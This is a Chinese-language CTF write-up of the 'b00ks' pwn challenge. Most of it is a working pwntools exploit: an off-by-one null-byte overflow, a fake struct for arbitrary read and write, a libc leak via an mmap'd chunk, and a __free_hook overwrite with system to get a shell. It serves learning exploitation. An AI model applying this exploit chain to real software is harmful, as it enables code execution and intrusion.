对程序功能的把握

拿到程序,可以先跑跑,看看提供了什么功能。

1
2
3
4
5
6
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit

检查检查,恩,很好,基本容易搞得都被堵了。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

然后就可以编写Python代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.arch = "amd64"
context.terminal = ['gnome-terminal','-x','sh','-c']
#context.log_level = "debug"
elf = ELF("./b00ks")
libc = ELF("/usr/lib/libc.so.6")
r = process("./b00ks")

def init_name(name):
r.recvuntil("Enter author name: ")
r.sendline(name)
def get_menu():
r.recvuntil("> ")
def create_book(name_size,name,des_size,des):
get_menu()
r.sendline("1")
r.recvuntil("Enter book name size: ")
r.sendline(str(name_size))
r.recvuntil("Enter book name (Max 32 chars): ")
r.sendline(name)
r.recvuntil("Enter book description size: ")
r.sendline(str(des_size))
r.recvuntil("Enter book description: ")
r.sendline(des)
def delete_book(index):
get_menu()
r.sendline("2")
r.recvuntil("Enter the book id you want to delete: ")
r.sendline(str(index))
#index is begin with 1
def edit_book(index,des):
get_menu()
r.sendline("3")
r.recvuntil("Enter the book id you want to edit: ")
r.sendline(str(index))
r.recvuntil("Enter new book description: ")
r.sendline(des)
def print_book():
ret = []
get_menu()
r.sendline("4")
while True:
tmp = [b"",b"",b"",b""]
#warning:it must de defined here
#it's allocated memory....
tmp[0] = r.recvline()
if not tmp[0].startswith("ID: "):
break
tmp[0] = tmp[0][len("ID: "):-1]
tmp[1] = r.recvline()[len("Name: "):-1]
tmp[2] = r.recvline()[len("Description: "):-1]
tmp[3] = r.recvline()[len("Author: "):-1]
ret.append(tmp)
return ret
def change_author(name):
get_menu()
r.sendline("5")
r.recvuntil("Enter author name: ")
r.sendline(name)
def exit():
get_menu()
r.sendline("6")
def open_debug():
gdb.attach(r)
pause()

PS:本题没有提供GLIBC,所以很多代码exp都是不能直接跑起来的。

我使用的是本机的GLIBC,最新的,支持TCACHE,不过跟本题没多大关系,顶多偏移不一样。

通过逆向分析查找漏洞入口

接着,不多BB,直接开IDA找漏洞。

经过一番处理之后,这个软件直接就开源了。

以上就是经过处理的用户输入代码了,很显然,

1
*buf = 0;

存在off-by-one漏洞。

经过处理的Create函数,可以很明显的看到Book所用的数据结构。

经过处理的Free函数。

两个关键的数据是放在BSS段的。

分析之后的大致思路

泄漏结构体地址

我们可以填满0x20个字节,然后溢出一个NULL字节

这样当我们创建第一个book的时候,可以把book1的结构体地址泄漏出来。

1
2
3
4
5
6
init_name("a"*32)
create_book(10,"hello",0x100,"fuck")
ret = print_book()
book1_struct_addr = u64(ret[0][3][32:]+'\00\00') #0x000055fc9be603e0
#leak the first book address(which in heap).
#it's mapped by bss section

这个结构体地址其实就是heap的地址,因为他是用malloc分配结构体的。

恶意修改结构体地址

我们可以恶意修改结构体地址,让他指向一个我们指定的地址。

还记得我们能够溢出一个NULL字节吗,我们再次使用这个漏洞。

根据英特尔小端序的原则,地址会产生这样的变化

1
0x000055fc9be603e0 => 0x000055fc9be60300

虽然不能随心所欲,但他足以指向我们构造的数据的地方。

我们发现,地址一定是变小的,那么,他会指向上一个heap chunk,也就是我们当前结构体的description中。

与此同时,我们修改description,精心构造一个fake_struct。

1
2
3
4
5
6
7
8
9
book2_struct_des_addr = book1_struct_addr + (0x000055fc9be60430-0x000055fc9be603e0) + 0x10
create_book(10,"test",0x21000,"ohhh")
payload = (0x000055fc9be60300-0x000055fc9be602d0)*'a'+p64(1)+p64(book2_struct_des_addr)+p64(book2_struct_des_addr)+"fukurmom"
edit_book(1,payload)
change_author("a"*32)
#change the first book pointer to our create struct
#it will point to it's own des memory
#and the new first book's des is to book2's des pointer
print(hex(book2_struct_des_addr))

这个fake_struct的name和description成员都存储了book2的description地址。

注意:此处的book2_struct_des_addr是通过计算得出的,他们之间存在固定的偏移。

1
2
3
4
5
6
7
8
9
10
Chunk(addr=0x55fc9be602b0, size=0x20, flags=PREV_INUSE)
[0x000055fc9be602b0 68 65 6c 6c 6f 00 00 00 00 00 00 00 00 00 00 00 hello...........]
Chunk(addr=0x55fc9be602d0, size=0x110, flags=PREV_INUSE)
[0x000055fc9be602d0 66 75 63 6b 00 00 00 00 00 00 00 00 00 00 00 00 fuck............]
Chunk(addr=0x55fc9be603e0, size=0x30, flags=PREV_INUSE)
[0x000055fc9be603e0 01 00 00 00 00 00 00 00 b0 02 e6 9b fc 55 00 00 .............U..]
Chunk(addr=0x55fc9be60410, size=0x20, flags=PREV_INUSE)
[0x000055fc9be60410 74 65 73 74 00 00 00 00 00 00 00 00 00 00 00 00 test............]
Chunk(addr=0x55fc9be60430, size=0x30, flags=PREV_INUSE)
[0x000055fc9be60430 02 00 00 00 00 00 00 00 10 04 e6 9b fc 55 00 00 .............U..]

泄漏mmap分配的地址,计算GLIBC的地址,绕过ASLR

1
2
3
4
5
offset_mmap_libc = 0x00007f8511b73000 - 0x00007f8511d5f010
ret = print_book()
book2_struct_des_mmap = u64(ret[0][1]+'\00\00')
libc_addr = book2_struct_des_mmap + offset_mmap_libc
libc.address = libc_addr
1
2
3
4
5
6
7
8
9
10
mmap_alloc_addr(book2_des_addr) = 0x00007f8511d5f010

0x00007f8511b73000 0x00007f8511b98000 0x0000000000000000 r-- /usr/lib/libc-2.30.so
0x00007f8511b98000 0x00007f8511ce5000 0x0000000000025000 r-x /usr/lib/libc-2.30.so
0x00007f8511ce5000 0x00007f8511d2f000 0x0000000000172000 r-- /usr/lib/libc-2.30.so
0x00007f8511d2f000 0x00007f8511d30000 0x00000000001bc000 --- /usr/lib/libc-2.30.so
0x00007f8511d30000 0x00007f8511d33000 0x00000000001bc000 r-- /usr/lib/libc-2.30.so
0x00007f8511d33000 0x00007f8511d36000 0x00000000001bf000 rw- /usr/lib/libc-2.30.so
0x00007f8511d36000 0x00007f8511d3c000 0x0000000000000000 rw-
0x00007f8511d5f000 0x00007f8511d81000 0x0000000000000000 rw-

通过这样一个固定的偏移,我们就获得了glibc的地址。

任意读与任意写

1
2
3
4
5
def address_write(addr,content):
payload = p64(addr)
edit_book(1,payload)
payload = content
edit_book(2,payload)

实际上这是很显然的,book1的des存储着地址,book2中的des存储着这个地址的值。

print出来就是任意读。

我这里写这个函数方便后期利用。

一种绕过NX的方式

这里就算有了任意写,但是获取.text段的偏移较麻烦。

这里采用free_hook劫持的方法。(大概相当于Windows的HOOK吧)

1
2
3
4
5
6
7
8
9
10
free_hook_addr = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
binsh_addr = libc.search('/bin/sh').next()

address_write(free_hook_addr,p64(system_addr))
address_write(book2_struct_des_addr,p64(binsh_addr))
delete_book(2)
#if the free_hook not null,it will call [free_hook_addr] = system_addr
#so call free(addr) => system(addr)
#we must set addr = "/bin/sh"addr

free_hook原理介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}

libc.so区域的内存没有w权限,没想到竟然可以。

于是乎,只要把我们的__free_hook地址换上我们要执行的代码的地址,

把要释放的地址换成我们参数的地址,就可以达到任意代码执行的目的了。

后记:不仅仅有free_hook,还有malloc_hook,realloc_hook。

OneGadget利用

貌似网上还有一种OneGadget的利用方法,不过那玩意在我的电脑上生成了这些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0xcd3aa execve("/bin/sh", r12, r13)
constraints:
[r12] == NULL || r12 == NULL
[r13] == NULL || r13 == NULL

0xcd3ad execve("/bin/sh", r12, rdx)
constraints:
[r12] == NULL || r12 == NULL
[rdx] == NULL || rdx == NULL

0xcd3b0 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

0xeafab execve("/bin/sh", rsp+0x60, environ)
constraints:
[rsp+0x60] == NULL

检查一下,在我的机器上一个约束都不满足,遂放弃。

心得

感觉很多exp最后都能发展成为任意rwx,朝着这个方向思考应该没有错。

gdb的调试果然又熟练很多了呢。:P